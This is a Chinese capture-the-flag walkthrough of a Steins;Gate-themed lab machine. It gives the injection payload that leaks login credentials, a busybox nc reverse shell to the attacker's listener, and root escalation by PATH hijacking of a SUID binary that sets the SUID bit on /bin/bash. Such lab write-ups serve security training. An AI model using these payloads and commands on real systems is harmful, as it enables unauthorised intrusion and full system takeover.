一、信息收集

1. 主机发现与端口扫描

首先，在本地网络中使用 `arp-scan` 发现目标主机的 IP 地址，随后利用 `nmap` 对其进行全端口扫描，以识别开放的服务。

主机发现:
通过 `arp-scan` 扫描，确定目标主机 IP 为 `192.168.205.138`。

```
┌──(kali㉿kali)-[~]
└─$ sudo arp-scan -l
...
192.168.205.138 08:00:27:cb:36:de       PCS Systemtechnik GmbH
...
```

端口扫描与服务识别:
`nmap` 的扫描结果显示，目标主机开放了 **22 (SSH)**、**80 (HTTP)** 和 **8080 (HTTP-Proxy)** 端口。进一步的服务版本侦测确认了 Web 服务由 Apache 2.4.62 驱动，SSH 服务为 OpenSSH 8.4p1。

```
┌──(kali㉿kali)-[~]
└─$ nmap -p- 192.168.205.138
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy

┌──(kali㉿kali)-[~]
└─$ nmap -p22,80,8080 -sC -sV 192.168.205.138
...
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3
80/tcp   open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: 未来道具研究所 | Future Gadget Lab
8080/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: 未来道具研究所 - Labmem 认证
...
```

2. Web 服务侦察

- **80 端口**: 这是一个未来道具研究所的产品查询页面，允许用户通过 `sid` 查询商品信息。
- **8080 端口**: 这是一个后台登录页面。

二、漏洞利用与初始访问

1. Cypher 注入漏洞发现与利用

对 80 端口的查询功能进行测试。输入 `' OR 1=1` 时，页面返回了特定的错误信息 `Error in: M?TCH (n:?h?p) whe?re n.sid = ' + sid + ' RET?RN n;`，这表明后端可能使用了 Neo4j 图数据库，并且查询语句是直接拼接构造的，存在 Cypher 注入漏洞。

经过一系列的黑盒测试与构造，最终发现以下 payload 可以绕过限制并泄露数据库中的所有节点信息：

`1 WITH 1 AS dummy MATCH (m) RETURN m AS n //`

原理分析:
该 payload 利用了 `WITH` 子句重置查询上下文的特性，并结合别名 `AS n` 欺骗后端应用逻辑，最后通过注释符 `//` 解决语法错误，成功执行了 `MATCH (m)` 以查询所有数据。

信息泄露:
执行该注入后，从返回的数据中发现了用户凭据：

- **用户**: `Okabe`
- **密码**: `OOOkkkaaabbbeee`

2. 获取初始访问权限 (www-data)

使用泄露的凭据 `Okabe:OOOkkkaaabbbeee` 成功登录 8080 端口的后台。后台提供了一个 "D-Mail 终端" 功能，这实际上是一个命令执行后门。

利用该后门执行反弹 Shell 命令，在本地监听并成功获取了一个 `www-data` 用户的 Shell。

本地监听 (Kali):

```
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 8888
```

触发反弹 Shell (通过后台终端):

```
busybox nc 192.168.205.128 8888 -e /bin/bash
```

成功获得 `www-data` 权限的交互式 Shell。

三、权限提升

1. 从 `www-data` 到 `kyoma`

稳定 Shell

```
script /dev/null -c bash
Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
stty rows 24 columns 80
```

在稳定 Shell 后，检查环境变量，发现了一个名为 `Pass` 的变量。

```
www-data@Mayuri:/$ env
...
Pass=1.129848
...
```

同时，发现系统中存在用户 `kyoma`。抱着尝试的心态，使用这个密码切换用户。

```
www-data@Mayuri:/$ su kyoma
Password: 1.129848
kyoma@Mayuri:/$ id
uid=1001(kyoma) gid=1001(kyoma) groups=1001(kyoma)
```

成功切换到 `kyoma` 用户，并在其家目录下找到第一个 flag `user.txt`。

2. 从 `kyoma` 到 `root`

在 `kyoma` 用户的家目录下，发现一个具有 SUID 权限的可执行文件 `TimeMachine`。

```
kyoma@Mayuri:~$ ls -al
...
-rwsr-xr-x 1 root root  17208 Aug  6 07:35 TimeMachine
-rw-r--r-- 1 root root     16 Aug  6 08:39 user.txt
```

使用 `strings` 命令分析该文件，发现它调用了 `system` 函数，并执行了包含 `timedatectl` 的命令，但没有使用绝对路径。

```
kyoma@Mayuri:~$ strings TimeMachine
...
system
...
timedateH
ctl | grH
ep 'LocaH
l time' H
...
```

这是一个典型的 **PATH 环境变量劫持**漏洞。由于 `TimeMachine` 以 `root` 权限运行，我们可以创建一个同名的恶意脚本，并修改 `PATH` 变量来劫持命令执行流程，从而以 `root` 身份执行任意代码。

提权步骤:

1. **创建恶意脚本**: 在 `/tmp` 目录下创建一个名为 `timedatectl` 的脚本，内容为给 `/bin/bash` 添加 SUID 权限。

   ```
   kyoma@Mayuri:~$ echo 'chmod +s /bin/bash' > /tmp/timedatectl
   ```

2. **赋予执行权限**:

   ```
   kyoma@Mayuri:~$ chmod +x /tmp/timedatectl
   ```

3. **劫持 PATH**: 将 `/tmp` 目录添加到 `PATH` 环境变量的开头。

   ```
   kyoma@Mayuri:~$ export PATH=/tmp:$PATH
   ```

4. **触发漏洞**: 执行 SUID 程序 `TimeMachine`。

```
kyoma@Mayuri:~$ ./TimeMachine
```

程序执行后，我们的恶意脚本 `/tmp/timedatectl` 会被以 `root` 权限调用，成功为 `/bin/bash` 添加了 SUID 位。

5. **获取 Root Shell**: 使用 `bash -p` 命令启动一个保留有效用户ID（euid）的 Shell，从而获得 `root` 权限。

```
kyoma@Mayuri:~$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1168776 Apr 18  2019 /bin/bash
kyoma@Mayuri:~$ bash -p
bash-5.0# id
uid=1001(kyoma) gid=1001(kyoma) euid=0(root) egid=0(root)
groups=0(root),1001(kyoma)
```

四、夺取旗帜

成功获取 `root` 权限后，读取最终的旗帜文件。

```
bash-5.0# cat /home/kyoma/user.txt
flag{1.055821%}

bash-5.0# cat /root/root.txt
flag{1.123581%}
```

渗透测试完成。这一切都是命运石之门的选择。